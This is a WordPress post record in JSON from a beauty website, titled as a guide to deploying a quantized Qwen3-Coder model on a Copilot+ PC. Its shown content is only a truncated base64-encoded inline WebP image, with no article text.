{"id":14957,"date":"2026-06-30T21:04:14","date_gmt":"2026-06-30T19:04:14","guid":{"rendered":"https:\/\/all-beauty.it\/?p=14957"},"modified":"2026-06-30T21:04:14","modified_gmt":"2026-06-30T19:04:14","slug":"full-deployment-qwen3-coder-30b-a3b-instruct-fp8-on-copilot-pc-quantized-gguf","status":"publish","type":"post","link":"https:\/\/all-beauty.it\/ua\/full-deployment-qwen3-coder-30b-a3b-instruct-fp8-on-copilot-pc-quantized-gguf\/","title":{"rendered":"Full Deployment Qwen3-Coder-30B-A3B-Instruct-FP8 on Copilot+ PC Quantized GGUF"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRuBHAABXRUJQVlA4INRHAACQJgGdASrzAUsBPjEYikOiIaEjJlHagGAGCUhonrhqnfKD+A0EJVWBixLb8LUP4KGtc1z3+3\/L7\/Aftx83HG\/cV7W8l\/4j5qf4\/gF8P\/uP+z6LHSP\/D+7T5a\/7b\/1f6X3S\/oH\/Zf279+foE\/V7\/Yf4394P9N9If9x+zHvi\/v\/\/S9Rn9C\/vn\/b\/yn7\/\/Nn\/3v2q94n+W\/4H\/g\/z3\/A+QL+wf2z\/4e3j\/0fZL\/eH2B\/2\/9NX9vf+T8rX9Q\/5P7d\/A1\/M\/83\/7vz\/+QD\/7+oB\/6eq35W9zP+C\/Jr+0dPp7B\/GVjb+V8FP5f9zvx\/+C5A+AX+M\/zv\/A\/2f9he9A9V6bT1F\/fj6p\/g\/7\/+7X9l+Qb8L\/peqvzh+4F+t\/\/M5T3zD2Bf6V\/f\/+n\/g\/Y5\/4P8h\/p\/XN9T\/9z\/NfAr\/M\/65\/sv7t\/mvfW9nn7xe1F+zoaZEaGYCTwWLH3ng0IyJR1p\/zFWg1YiT\/\/FZ1l0kHjulu\/lBsgmew6kaZwR2qBJMONwioMko8vAdjn7s5zNXxAdMJSpsllOqY79bvm1DJUP\/iFTYmkRjJ3GiLo4rUpUWquh8IeW1xj\/sqM1bljotgVNr4HBUA40MAGzPr6KwIGiOOuYe87fHLipHT3m+BrNGCI\/fGrHNv\/r2g9BOjp3o4aUoqWDlSZTjyH1p+UaIzcNmC0Wc6B6puWTwKosUpwEtr5WNl\/puNJg1dyS0XRCVALihhgLqvcI62H\/vcKAe1ICyxtL0k\/9l70qAgGW6ibvhcXxrqq4Daz41AzdAEiTbU5vD+Jn\/FCqnvA5t00uXmBV4boIwfGPXZ0KMfkcZGPNVTARXfYWSAsW\/fv+J5MXDUedgtEkupo1J5uia2LLJi8CZpMgJQxXSTY\/GCD0ByMFLn565cauUabivClrGxpqvYbl3qKxFlxhMQ00CpZ\/5\/Kb5pk+p19e9O\/lrEL8vQ32o9GXasBq1Acqtzb42ceq8ExoJitxARlHLbpHa\/idjVyKJVBHVoAd\/kiUolODPpyupzjMjWAx7kCtzUTfket2IP23oTytWMmP0Zqgrw7jfIDGv3qEw01UXxm9KjXGjdv3qabuWR0UIOqMuf+OJGRbsyPTtUZX9kSbHkacQwYN+mx+6oXeO\/1aE5XIBcKIGY2CdVzrIyWy4Vfm73gIgJQCQuvB8QxUZmq2\/IH4cwWx75cDfNfuEJ9Z7+RwSq6QPyj5Qp89Uf\/TU7nRY+ZtefQ24\/L4y7kufobbXWHtdU4WxSfikxJR\/i5pS3R0iMm+3XB9+Zt11n8uYfu+Vs0f4TIh2+UwB1\/AHO9ih0yYvevp2eC7KP\/RmxK3hqnNyzxFLGJZ2jLI0LXa+BPfVOf42WzG6KKZVBY4LHYfbOgpkvmnQ3xtik3JiqYuNZRzujZizT5VqGJs\/KFfT\/me1b6SDfKy0odSj+3CyLDNcjYt2UgLtx47g4HpdlcDkQQY0F\/2lrJ7r1PnyhmnqL11r3uwrYUgTfC9U60mHDa5RlhuomRnFHFzqX\/+XS1ry8HFkMEvLVnw+To9OkexQqy7Yzp79EDsuVsb6At\/PxaHNmMO\/jEuNGLFbIoZMuGGW\/Io\/wbDOLDthqVXM6mduAVq9ofXkl23hfeKHx3pQCc+cwViX\/Db03\/STHvuEbrsN36aJJIe85g3NLGUsvadqa55UsSDxMOiyeL8ZFy7llJ9Cl8gsDAdlvsv+GoJvfQyUfjdgtpwb8\/TZOJBdPFOWNjSODE8zr1Zkd2SMEknlgNP0bkOgmuwbpM87+lukFXfclSCuakX3ahsXaZ1gr\/2IvQKPJ\/FUypkLTRAG01TbwaYzBJ3HbQsaCyR7kR1YzRYKbEDUs29weGdWGM75tYMxCqH\/64lSvmW+FsZBpm0Ty0SqtpFRbv3TwBsR0KzuBxHDW\/B4MQGqTfB46\/cQ7VZ9yeXpvGh1TtUZD7j6oGJmjbcj+pRr2cxm60sXVZ0Qjtg7q51Ya5Xy8RZ5jQLFbbqFWheRM9ae\/A1CdxY+7QExfhiwc2qy8SDCqi6JDJuYcpSKYWSjQ9GKkKwG3Cph95hATx2kaCP2P\/uIceiMuhnpb+jN8Tlhf4TArO+3F1HvhjYHNSXsCxDcMpxmxstZxTY0bZlHCHZjeKHswJ91DG18LoT1rsZBmorAHg40PYngx4gYW+fnvOuMtwzgcqx\/d0oEUMkKxtz8kwwmHCX6AOMgdYkVYgvK5NHXZig\/qKZoQ7n54pmaXjmMLBEXur7HQYs+\/QBoXx2GyZfE3KMhgPjyeR\/lSX7nhj5gZbOwyMZByCFkLl8Z0\/DafdDnumEh\/nZiBnsVtcCBvdiNvYlYUWiHqKCXV\/MP3KfbyO6IAKU4D1LTdi\/YinerVtKuBtTO5M0ZNNzoZW+88SIvgyTLo05N+v\/cqrWJDK2lgFWRC+p6g1W4hUwCndTzDKWmINvVcblR5KUnDVpLpBwHQhL\/rOLunLiuj\/pj0T3v0IC0RWdwpB8sDLho64HOTGb4ehvNtrC8+Mk5ozJKygYvnDf0EzUU\/Sj1zZgt8FBuN50Hz0zb0CyCN7ukJgFDdP\/0olv368nL8JYCT8TdNN0XZkySD9qidGMjKm3l1raQkse\/9BCDPxNaFVPBay8EMjcUounWYR4pRKBRoQdoGHBp2eXh6AE3Tw23kUA97B4EaLT9HypcSLmKi3HfSLEDMrKjSdwFJmasWnBCUP5zHfejjrM5zplfYCT1GBf\/J0pEHS1JYRBrEFx50xhfhlY6H9iZILlPMcWTskefyQH4iiIODoQsrOYPInsuDkK0x4UqupXDeBQGK9hftkyrWqgvOL+\/Hl8vYyGpGc4aqCc\/AQKEO6+0ypffHuwK28JX6p3SccHwFThyWAMI7czIgKkg3mfVnSIeaWlZ7xp6ECo0kCF6dFzWSLk2EPD3pHWhl1IiEo+KAUsQVOYhy15PzvGUlF0SE4YiJOBHUY7vJWDnd5VVuxdTFH9\/yP8CKt0YYpdwNgRJxpj9j+Z82F7PWlYnoTp9oHIM\/7tnMu9hmFNhbu9rQeq\/z9Kr0k6D8EG2lZRYw+16V\/1T\/hHch4p6IksnFbSRPs7yH+YkI1tC4cfxEllvoqimqczfXd38hC22UkLoWUoykZKWTxLc3ntLCsykOWbx2XrHpr+OND+ncFaOPPDo5wEAAP7+8HcB1hK4c8AYe57eobH\/LeiVzl\/253IOv3NKA7Uf2R+E7wzv0MGtPtibrPOItoQPCKBU8tkBUF6nSpFNnelzjxOE1z4HQVRDz6ODVllDucLknuwRGKRwLs7HAn0qaxZ3f7ONfajhN88hWLaGMDqoAzQESrrSaIBufUhsPlIy\/KbeTKrAv2UsK\/VmJtySZS84X40U5JehzKHrihZIdVGa\/m5ZRfyztik5guISj3KGdIYgLxWcsoX\/sv3AaiH7Rvb1NbCEjwKsybBtyBXqcFT3xF1V+bmdcCxuJN7sPu6kFIsNsie1X7qUS02zEI2PfxLeCh3hrpCKTXygcOIJngMVSIu4BYSxLUaUdGXixjtVqT6l4R2SVHbLlTHWsK8XIjvav5\/N8JyFw+3pKgwEIt8kpxkEQoGPFTPc81XyvSw\/udxniR2LGqp4Kg7p0XqjIvVx1NeUUuyNFqx7zW5EnYbn+\/heV2uc53vGUw1tObX4a+C1PruIFdosP1Jqnzv4DBgJblTvPxgBj+K0NMQx51IdQUuEQWd6mumh+1vfhY0AT7rmraQA640ijtwvwllHaE\/lV2HR5sdzODjYbvRFq7jGZ4K\/sxfSwi1J7IZpQ5xYyiAhpFaxFEC8JGnBiVs2xzJWMuV7cdCtZiGvYta+4f5nyd1GRYadGFIPC6Fn3vkxTw2NFh\/v+iBLMJW3mXGcHnJcqz53GsLI8sknvd\/5sqzMEmRRkUte+WiAI6vdGpacCT\/StlP3ZlfuK3\/CdypqLc9Lg+z+Co3rrz6qHf0SYJMzDL25O0e1w6Rr9rJvs3UJ0IniTfAEDXwGkvblFGfJ\/lPKOtpTtZ2mjPA460fMuL6Mz5DC45w83rTwhKmuYtYDfRAhtRAdWKevqbYeE2bH8rCRrzeTyW3iuoC+T98Ob8i63FIMKDW9Z+kuLV78e9t5JYHs3NI+1fw+FmxD28nGfhSwakw9BrZ\/7+r8bO\/JfGSJoueMU6ORnL2uncKyj3t9yX5Xpwd7\/JGEiF+0OecrH5stL4xtw7U6W09vU+lJ798oL+BXOIZIkGuTXubUiPcCsVOapUxVwtckDtIijpMeka+OcryXqcVqBze8tDVAPyJ6i0UTnezMFUV\/pz+tCuWnXfa1tV5h51cQ8f1DwXBgaxX3v0S91j7xEGCuEQRUtBEnO6FYF94ROSCbtvaU4SvJt+1i1zoSaOcYNvNRpIf\/KQHkh3qztdLYH2uGjEXmn0XTK06cLEJDtl3ebEYlOo00JFeVA5zMuXNJQ0EcjWcoJVJFzSBqnRKuLfvUveXFUoBWhwiUGqSOz0Ytkhh5Ti47GLcTdaeue5kIApX4CqG4GFlDmo6rC+xvuYHAPtXvJ5pqiRMAXqtx\/mDOm\/rUhCxrAh6h2zswR4yZClc7Nv8r\/ewpA\/v1YMQkjyf0YEXESnLrlMoPI\/uLfBhBNWfTMZVNDlPJXaMOuyTag3Bf67LGpdJBPBc3LvVabFqw+TPqNBq7rB7tpYpxDDR8m6ODp+n\/YEFyjQXVzIuyPmwdez3vkQNc7jYrAVlXGwcx+WMZkQ2yypONVOHRHWnrfqam\/xyx2iVpB9Xpq+YblJqoHKDME0nyK1a0f2mGq0IBOcW05dvUezBdUdKCe90JeXugWJarybGMpLlTTg1h0ndADo92LdsQKAA6t4JIFj6ZwxS\/cXrQbVgJny1pxUwzKh1cinNNSY9vRPMhJ5QZUXrSUy6EaVWHS3NK5pLlQUTbwEBjC2QALySkcTYYQP6wWmHCkjP9IPda9hvDKXJjNNoGEZFIQfp+Jsa7mq6X1BuhXF0ZLQ62bD2uJNkEyt0GnlaLKRQqkWzvw8fi4Fs30\/YCrVUj2oZeTbU30+iqdx47mwkv\/hFjZYy\/lt61eHboojrmig0lxtM9Ek9aswhK\/9uYchU3xwZaA8f+ZsZ93F3uD+kdl2Z25\/QQOqm98X5vIjY7jkQV\/NS953uc5biJu4oq\/yaVV\/m6\/uaFbW0K50T86bz1J5vlQO5xmwvlFX+8YvZ+L2pUH3Mfep8sNPWwaz3ePTltC6JvtYUq0WU3dvZNjERF+VWEjHWe1TG0gun7ZOqOM5VI8MuiFL9F0pc6opxQKBnp2S9IdxxbsR8JTeUd5wT30AyIQcrrANP0HwEJVxRHnK9A\/nBlujlpD6dSwwcBvOvzg82QaHOq+OxzPuUEGHomfk27zGVD3MtT5WZMyy1JUV\/sxVXIlZnYtukRCqndfQ9ZO8uyUC7EISGTLMyBF0NPUFL4x7hyvivGZxBScEyVsVBuYKBjubtsGq6X0OSBIhd3DlRfrnjz\/970XOnHwxSfhxlDc\/NB9KIUgX3dQLrAUyvVS9i69Baqh7PX4h\/FzlIv5pOgMRuwvFjjWvw4Gi+DThQsufeRdiIep6fmer+th2GTsz8F9ZLJuTo6XjfcdLMWzO+IPREhaPNG4MDWegmvh\/mRMIFEYaEjKh7kPpHRG482UIy46OFbFhpxTyhgTS2ryTgaAMIRug\/gDuuB6caplq7N4eMrbevZ25BHfo2z0ZtpW8kcDGEIB7cRSb\/A2Uz1wkTDkrRYWBDVLWTRwtfmzvOcT6txh6FvCrvKqzt4nzDMxhXpuCz0er4ujXnjU5t5S0LiVn7\/6B9GUk6agDXjpxDdRq0RmPPX3E+LHTgzburXDUqtku7HCsfDeix75EDhUi3xIcd1HLIjmpvN77CLp62E8X4bSytL0UCq\/dw93jahrtNse1D9e4P+QcT6nOtw8Ff4PBdHdfv7e8GN76BTE67MDiL7+QAM0i6mT1DKPBjMiKwsz0eD\/CoUI5XTHw1UgCDxT5FxRK+\/wlyQgQuoDUgWIGtUQCyWOBjEUa2XAlGkV2cnvKeuUtRD2Lk+OyF\/vCVGsjUqWAN+dVMGe9T0URPHQBI885Ve8tOp7NN987wJDKGifsp4OkaMhTscnhzfbVI9h6laPn7XT4f8e79eRk7YvFGXEVSfqCEslEw0o+CVPKettYD56hPX6oGp2cs+Vr8dxP9XP4dxgfT3OO39XZNNVRhs8bGMkThSuN3XIot6cDTFMaMGKkPNnzElUUqvZ5PgoePTWfES5PwX84QVE9HsHhC\/XFIO8yVEM+tEZ6eigra5WgdBjbL5g35olaQco1hbTdc0C\/qA7YEN62kclaJGa952qhoXoBG\/LbzfAPJyxg5Ll4wmp6Z90yQiBOXnDzF7uWbu+u1QyFAFKnIW7KrhiXv6aeEwnlnl1IC0z17PROHY8F8sh7cG+TEQEatyTxR1qu57Ppw1cUxnxAgXuuOMXEQX78RqS+aj93sRYAvw9+l6y3Ja\/yNX8uPam1VxW\/FwvpuXEFrB9Xsjd4Md0Kzm8IVi+r\/eeLC3WAuw6qbiHs0Ebz8YMxCSPFBGTdKPplZ2gKW+f0+Q7ZMdGzPJUTGSxafCAMgB1yrVfaZrPDUHP77ZDUjK3stq5s4f8wY\/rY7KGZRFRazgHo55f6aFI63Co72JDCIZy0uY\/h0\/xVFxPE3ZqvEtqrrvrLvtbSNbnscqoJ++d0OKmHVfZnnhs0CuT5H7nBKPZb0B3+5+nO\/22QrvgACafc1Xz4px1B65\/zNReTnuqCfqxlthJpqhchQ7G5s1EXWuwTiSsEx2K5qRJitEkkhTyslIY\/owu2OSLkyUUV0UeYFZ1NoeSU+mvs5GcF4XLenyUuUdHaDvwNcFbrmIIKHTN7hSqmUHcs3ILC4b3pyWR4s4+cTa5lnq5jzaA3ubht0WS+ofZgjeAJeNOGCD5JxHXULcTqo9oItkcJcd5aUyULYllXyz79ceeqzewSQNOPCXxfIki\/95UIPEC7JJfF\/cg2OcOiCu7eCwmlZ9dcPeZWF8xG\/SMqrph5LUNR6mRv+wR2Oq1X0i716w5iRB5N+hRfdUI2Kwh6b9kf5ctWW1AGC15q424FU7ceqLzP\/EiOnJ6CrBjRyZ3NmlMOsb7+EoCDh\/LAHH4WGm5que\/Q1UFbrGhB+qZ37y7h3SoS9X1zz1yOJX\/frXgLKqihbZw+1QBzr1pAM5FeZfmm73lRQqNTxSUFtrMDE1juKoFZroSbLAnlUQYG\/\/vyQWeKliuS4Ci0pvvLFF82MppU3HAesy1mIb\/q+QECpICusLjg\/kTKYdI5wcK+P5iPH9gMeD3JAMpBAOFcONzP0MkPfoV84zcf43zNvp1rEjrULKtUd2MRBKdv2meM1aFYpa1iHAqGa0zI0CFxlfSRQExcXdWBXV\/7CCqGUwU8NXOKJ+25PF4cMhCakwUkpFv0YnkJr\/XuEVuBf5yt9RFqSBF3FoOX4pQ+5YvJxBXB7arLm6IB94kwlZPFOQOi2wTeoRLTv1mRtV+oVDzPj0\/iLnDvm1FuX62OxnV0SqjWe7yeNY1t+ow++odIJCz3K1985Tu5ey8Q683j4+P5XI+dO9g1MVzbtO24ssL6o5um8bQcZCILeIcRPGVNUE0uofGBMMYvWqaiQnOK1CJGBz\/XbC1hzmCHM27qz65CJTtTwVxdeiNDWkRFXFMx0J+mVNzq9OmK+Rs+RhrC1jI\/8DLroe9vfo8fbuvtwBlBGq\/amBXjfeSAk0XG+SENxZUPBNYxGJmsyN3PLzEIyvqyV48QamCyZ8A0STVQdNtkoRRtccRDuRj+wIbRuwcvtlV6CNMPC6o9p7N9id0UVnPuKrcM2sU3PsH\/VTRZDEfUC8q1UideCLrseXmGfMVFe8kw9VH\/f5Lcu3QrxDJH6jds6XHny2Ihq1qTxJ73S4XNMwBSa+UvNKZwdXkIUK2GBNOJyLG\/3V3i9SwSYOcHpo28U4zE\/+4vr7TMM\/FV1FfwVfrAOwxg8T9CoCrfnEbHqf57pAIUzxmuyNt9E6r0HLsGXhH7CuZaAQzXNvb8+KG5wG0tGhbbSeLKN6NdRwq2sFEqLdPR4\/RcybveJdV\/z3Ts1D\/GIR32iAcaR6I5CM8y97ncfeG4MVKUnZuJd9CkX6Q1ElLK50mAjsIxiAkg0+FQMgBuPqWmJKTEDZCR9hv+BNacpkFrs2Tb4lpxQ6vloAwISqGqMksDVQtWQdLxOilmEIPZ7qadFHxC7HHoc53PTiuIoUq7Qazidf7CV1rvt3TteK17UTsguqpDOXaLNZ7GlUDUAUV47N8CDCNdekaum4NGmTC+3GmoYjj3VBDHMTgK+vQACGj2nbPVUkF1Z5enHjogUyyw+px3Fbt2P8fA4KmilIu\/9dMNe03jDt7SeLMjpyGtMw6rLgIYMYqiM0zYlDQerGGg32zVLSMEipH5NDHYlWhnxTQQq1qqBJvZB2CF6Ir4GaxItpZjf63YcdzMP\/m+DO5sjTnlib1JDQDEc2e1Z33DUm64u5R5+yvQe8uCVKQ8viCq5gG4b\/S643s9VOX1cg5ajk3u868pNUSgAunASSLBNC\/7Tv0sYEgtWHpvulGgxfPUd4CLyEVcyCSMJXOmuAphlaeBOr498tH6EQ4UTog6ijMe870l\/tfUuqjLLRm6ugLCdhdW4Zo0gds3QMJ+yf5oUhRK9WWKTEuOw6bYzla9g3kv1UpN0oC7FVdayuDxsXaEkEV6voSKsX4SdLb8PmZOUHRaqjLLp+YRm0Ns7zmFb6Jrm+8jC+vH+eA2J7OKtWmvhT1hGEoVFbnVMRs4kLcFieEJ0WkkjqluxM3TkxpJKL9HuoRy1wWv\/X\/TIEhhjKI7Lczy9AyK3dUb+8o9gNYDCjHG8eOAdJ\/\/4D3e0wjJcF3FUOjwqK27mpI0d4PVa2STlpRtTBF3vpSOsG6MPE\/+b+7uNF8+b\/91zSMhgLPkZhLjbZnulA\/VRV5IEr5tCEAWv4hTCFuKispdjTbXapPdY6+cU4tWa7tjgG1AkNKFrZRjo+UJAOnIraJhk7wLBNGTiXM2JVJMb6vYcBp6qiEJpIGegZ\/p2316Q+lKWPKfm+s0YtcV93a\/KIyhdR6DFzngVWS3tPq9oOYhZUdc6Prlf\/iDx3jodhNTHPjP2eRWY3iHL5vRy8n01L2NKdxj0Ya7AgBjbaOywbXvgjCiPrOFjKMP4T+FIxvd1gkk4NLfjlAzkPYOAkJdTW61jIPsT7uv3ZLd7MRJvaKD0DjMcKxISzViu6lAm8eviFBc5yO5j3xmkKJLa7fSr4VzLkN2etB7uEYzXionQL13RvxNZSlsaCGMxiG2gmYdV4DTARmfZYtb3l37KUZcCeV3DgXXx7M4LYIGVAFRbbSyE7Bc4OUJZ7\/1Du+U2DTbF9myh0W7Newl63nyX5mVsfTxfmpLdRc5cEjBSBDWF1MPocF9D9P4wTukWKD9efAusHliz0dFnL50siDmfuP3aO40XstvVHmxMNg23v+QD+PdcXaKm+mBd8d\/IfvN94zRA55+tNRMpvXDsBTK6ZUY1vvydnq3iOfrXepfZe0cdvRDGbZ1mNuOQJmp4Ss8wPetiYIs61LFDEwIvh8gth+A\/Wt5m7YFkYVnWOaLyL+A+wnVS69E46+gG7wGkdoIVp8msbY9BUpJHllu0IPPNUjYQ+C3U2C3nJaBEugA8cVAlRXAJ4OIg8g7RBOTJCgUwKVU89PzCM3AUYkjrlyB1IL1lsH5XbZe6\/01FAoc1pHD\/du6DIlcmdigZCv\/0D7jXKKqtqpaeqeqjWSmbrxvESQUHzt\/ZsebcoCyEjyPVpsUyK+d+YPQ1lQrZcUt4LHDYjEoTy\/2LsDNFZMS0eu\/IYIqAYuuc6SlH5sdQ7rpUqcbr9I7eSAkR5\/Ly7nQtZwsjvfgj6zXHkSHPm8FfpjrYSDGqWAXLSFKYE7+lL1UZ1Uk\/XqQyeBVTdrci6AFCW4qr\/ebtIWfg9Qx7zmkYaaBtnlFOomBajUTJnMZNJQCgehGa4hryIIAJ+EqEfCFGazNDfSyrkwVyEaV0nmqiCkmf6hZ+cVrqA93BBwXMjdyvQJn4GV5UWCxSA9Augc7GZfqBrRg7FscegJzhj37P4Itc73Dz2qID3YFCug+nf6wZJQUZXVDi4rHHEGk85KcJuoMtwY+12NRaYaaT1Kh8LZWwucHWsm1flv2RDtT+NfefC0PLW3NO9NR1OBt4ahyEyYkorlidwCmMdNWuW2TwlcaNiS2XpIBzc99jnzdZoyTH2ROAgr9N\/RS29R4VCnRRbt4xC8PqEL6TevnM7fyR47ooYSJvVay5ChDZmgF3x2Q1WSJn6JGQzqgfcgafP3RvdNQrpYSrBcbsU766VqUWbVeZpJY9RuePkPhejbWbnV7G1VYjRVDKdUv\/t3Ec9CeqSWaG45CpbzeuPAKrb5ub33iqkTonW2CMhXXVVqU6frGNa2O3zLCJzKJJIBtnrJsr20xj2B9Oli2grU49k8FnxC2vTdCw9RpnvvVPjjYyIIGjKM\/kz2Xv1lz74e8wj7f3zGzwYmVldn4HZjD6vWKbvjzCU2QgatUcSZRucqecHWpU5CnddhDTBycCeRkIIWPd\/D6ogKSGMdAFZuX23mYO+JL+6WIG9tIDd\/r+RsHABlZYxZH6NEfmiZRy\/fpRONufu1V5ORIzgVd9x\/3XidKdblP081osoiM6StQAtCjafvpeYL6PY\/VOR0IpNMKi6Ugn+j5OcYzKnSr7fbE9dADW8m0yfq+d1w2w3TGepThwR1YqLtSx4QGwnuYqtNN2eqUIpnAT6kusQrFFkTAjGGRWYN6uMwvF9Jr2B1CDRz183kr4HFqknCY1jm391pxt+5HqG1XbkRcavl\/i8u7rA1YNEI2Zx1zo0D2v90fqJyJ1NW7Ynv7vPhWsqs2Ffc8s+sYjslyqO6GPOD6ntX+ujrmhhjGs1vdxM6+FzsOF5OH8SkHWL9caMJPtgoPQpP7iNLd+48SgtRvF5RCvhBCLwKV+5Iu8upgPqm6pjHtS+sBP2a9JiqRZY+j9X79khVvu82zoc3b\/C6xYRU00AopRq9udhRC60SaTgwCVwcYTyrEZyUfgrHV9GmxRElwUQMJdQKt4h8ym+z+Qj0jQNsByQqyzjx+HA3YsZHoOCEzDaCLHKyEEoH581Ob7+TYHQ8TIBJZyQoTLLv5nwKmnElREjGNQ4nekE6pCT1S0e4NvMLen4C2WnNIHEsjVxTfPL\/8xPLojiIA01mfryElhZEOpNrS43NgO1Fl4FR4vSYj0RHUkn3ledLVWn7s\/3zih3ozvKrxD4sIHxQIiQAu1AkqmWHHd7DBapiFJP1BcbI+fiO2USuwr2VNafJDS5AgdV+Edo4od5abxb68x6XOn9X9SuOx\/wl\/SN6RuqKzz8cyyiM0Cw9PRA0Klu6uUB6Eo+mrZ6jM3bbe1Btwc3M9Bct4\/YbpCnDTXltSOdB+lzwTW0ILyAZeHCoNQ27tD9h84Mw8zuj4fx8ofLU5swUx\/xdP7wA23gWNhWVGgi8NdZ53X7H23V+SZNF2JmtCbgGPrd4KgGtwpgfQZfCLnFD8iKx\/cnjjIlXf5CWfAezIaQmV1GEaEWKMDWCwHjfbdNQKuFeDvoA6nE39IuQHZtJZOaEsMS2eEoQiVLZ9nRpONv3P4rI5uxtOhv2O63UTmQeopR4isTlWNUx5LRAQ2g\/lYhX\/Ef26IRg4XzwVPN15RPMTV5KZgMoGVytywqFyvTSM0wkG8OWc2ZCa7XoOxNl1+X+2ztXJZyry+D\/dXxmIAKRrW3iK++t7toAbAy9uqJrmbBQGU+TzjUq\/2TIxzpsr0flGTBn5AQWEC2oH8QCS51p4+WVd8iD0Wcxzd5u1etqrg6Pdcn1AOpcym1+LLmtbZ94WVs\/gROrAxIM\/RPMKNTwXBEGoFCMZLyiN4Y5RRAW\/CO6NwJcwRhuDjwkjAvbDD1Kou0LOWSrbnKpHs8MCbPWTOrmAfw9QUZ8zAdya79vMyJ48tfw+D0cqR1vjvcyQ9V+B\/YiGjSrG+ovE2mlGPSsYqLvrXlQM8UVK8KEM+\/w9ixcnIRK9i+UXkPF8zfdczBYuZxOS5xytQYWODLzWnsYhTQsGct2CU4sZ21z6nKO2WQvyJ+dnTzm5ymPTd+H4EijS0p726tuoe\/drTQTbtkQRbdCeXoUn7NOyUevpZYBzSS+BuKLqPrARvBx2YxHdoCx82lzvkBELuANxTAKAeTZUBZ2hqHYvLgCUG5IvbzKbOprH50+2JGSHRovQXXVkFD3f1nisQUs8+wxaiyZjjAhLCffAJfyvANqSze3kKLSSAWA6m5PLKJDWevr\/VQI067Q0DVKFVioYc2ItfG0cg3wGf+f4ipejUZdW7OgQghvnHdJyKakYMpindvZwlOum6B8SDpkG31QIQleKi\/D+EicbWXZK7cd9Woqrczg62krzpqCLAIuXlUksQrfwV1wY8p7wag+zx2eUBkwo7XHOK4cIqLu6hwcyXOUj1hXepMHspchdI4fYlu+NZ8RO1iWXj8IL2LSg6w1SsEQELtjYSir53RDD2EYb4bg6FYSTjf05Cvm9EoUzmc+dTJvXYD+5wUXvj3dlklj5M0HkmjDbKEdm60zwUa6hI5MLp1Brp9LKkGYmpcEUGwfxmiwdvjNM9DZwyItApz\/8gLU4GeUYuz1LeJXiJAxIALHTToRNBnqI3K4astu8\/DETrDK9pJ6OIPJP7uiRrflz87ZIxqroGu4sAqOaInujkck7DhNeYZ7+TqavvEoTcsd5nyj5DuIoAHau4JOtcqywlPEu8vPg\/PbNuId4sc5RkLslV8BBIA82BBFKt0iqqGnHb3xDyJqKm+t8E94waHr4ou9VygI8kszMSAsJ0teKTcNd925xeRWOk9T6k0E\/C2jEjx4i6q7MygxadKHDPGoBxBc7mXAIU2V0JRfG3CVPg61NgHgr\/lRASHKZ8Hgg2Z\/vggog8RSKit40vBs\/JDDaYZpkDIcpYNjLdH7J9DiECY8ixhXZ2U2zuqdTCDxxOaAkxUXq65eWMJYBa4O5eL\/r\/XMA5QcImX15HEuylkU2Q+5o6zvmd2mayHKLVl8EfgxuyyuRzYKwSJZc7\/1M0KknYbcPINj3soGCQH1KqvUL9Y3Br\/MdbsD27DJ6XlL\/xYa8jdEB6AEEr8vGMF3oVuXHtypr+wKrW6oZ8uaIoIGU\/M2h9TpqrA1ntTi3Ve4SP+WIJ0OgV0tUiU16biP9x+RZqUDpHuh5LjSX4tMm\/aJoeA5SrM+JDIXN\/V+ZE9CDaeV6wp\/6OFpurnuEPcccAGQ3rihRjVyzacMxcqy3diUw8GT8mXeLabN\/Izvzy2uSAuJmXpX8omPdsapV7mAG12sEvG9DH7HPrjbE9ACB69UYGgdaxAt8l2xr0pp4d4NOCJyVYcK2RtAKdkhgxPchR7SCl725GZNzwZbVMoRkqxPxkaPEoSwgieTenQx\/WzEibYSHPtxfpgNQYJLWVr7T79qVXUYoqUeyekI11Azr7bgTzFRnDT3ebEkqxMPhP+rJ8wqHDIYc5F2s558833hXl1w+CXBl06DJOn9zpPGDudJSFZZxtNzmZsO9mTz9a4OZFAxnxoggg1PxGgmjs4PUCjfWLfwX0WuIdJk13Faa7PxXgseio3jNleGgZuxpMS0cqYP59m5hy4JcUAQSTIHWpj0ebiSa6hSdLbFBvus10eNcnOYsTJmdtUuFR\/er4zjaVlcfvphnOkQ6usZZVQNvwvJtJANs2pxP+Z0OMw4MO\/1k2nb8knynd2aDz8t9BapxijJc9y4Fici+egcpwBDrUsd0Lpx719AIS6LLTmtugWMQeCxQs6IFfs8MF6lHqGavKk4rN8GEE40apEzcv5aOytMITLzqg+hGjlBYzISh6oIwwzOJOD+U55\/IzF4esFNIx9b7RG\/SZN4YMNCtXsAaY6kvapWA4G3aR51KJUmWk1VOzHqLhG5BP7DovKUlweuJoHsaI4++K30e4wfjU9MmPbOWeQl9Gaa81A+Z4p9LleJpZQ3g4TL\/xXidxAI8XOj4eUE8q2xQ89mVcTVQhHs0Sqfey1Gb7Y4Xw4zP4trm+aFfZMn2J5+aSD8dbClf\/+O36qQlMPG+ibf8CYd+5p\/2\/Ud2FB1F+7BKkqHn\/ruI1X5twXixVvsBX7asUicCH\/dhyumnDZbcbjx0cxliqK7CN6WbuoJ4OzX8LCdtmmS+sq8dsVmoCo1ciqFilsr31XxL++6yGRGbuff6KWpVPn6RjVS5fDBYN6yxknsWCRaEmPJvga\/hHxZ\/\/OJsFj6\/jcuoMMBiuvBpkdeErp8F7uZsKB6MEFz6cQ78qCTfVi3SsMVLIfk9ueBh7+G2oyorNyLST9GVrBO4g1d6mLw5MfJWlMZFLuJ3V3IAa1aoDfdslRxnSkG\/SNQKRgzA3tUL3kfukYWWk3Ef4YgoWBfNiPBOWaILy91tF+ZK5n+HPjk2VqJNgMU43HeVzflsUFsSrtGIj+uLJPjyueodbp4tk3O8glwNqZIHFVWecNr4rI\/pwXG48B6X+yav5DXiwV6MONKxPOlQR\/ZThVIbktto11I21ZSo3j9l0Xh2bEEaonR3m7A5QMTZ9OcuRD73rcMGYtHzNeynTromal+fyMT5Zi0vEr0S4z4tovHCB06TRDR62lcrG5XgHNw9UTjBgleyIupZdibdN6lFwHHLdHS8UxJ2X3oiKPZQf0XW9\/+W2yWZI\/dUoSrMZhfJarPyx2fzhhjddCy8WLlJsM+pm0LtKpwR5LNLxOJS16FoS3fouSO2TzRpNgsQRB+dloEwNJ12rP+FvW7faIw3Ty4iCZdTodInxiS3ufRlOszJ2PnuGKcJlOIGWxgWIqBD8svLJR6kcU\/ilu\/GehLVBYLE5Wb+3XEfr1B8QiM6bhGnXb4cfdC7Eu0rjd00TV7FmmOY0DEQQWQxbYytmsP2a05MXNp9w08iADXhbnWsnB2gdCILXHKoyCItbjm8aurT6PeocdAszVsu\/DXL1GcNtF\/AzMI+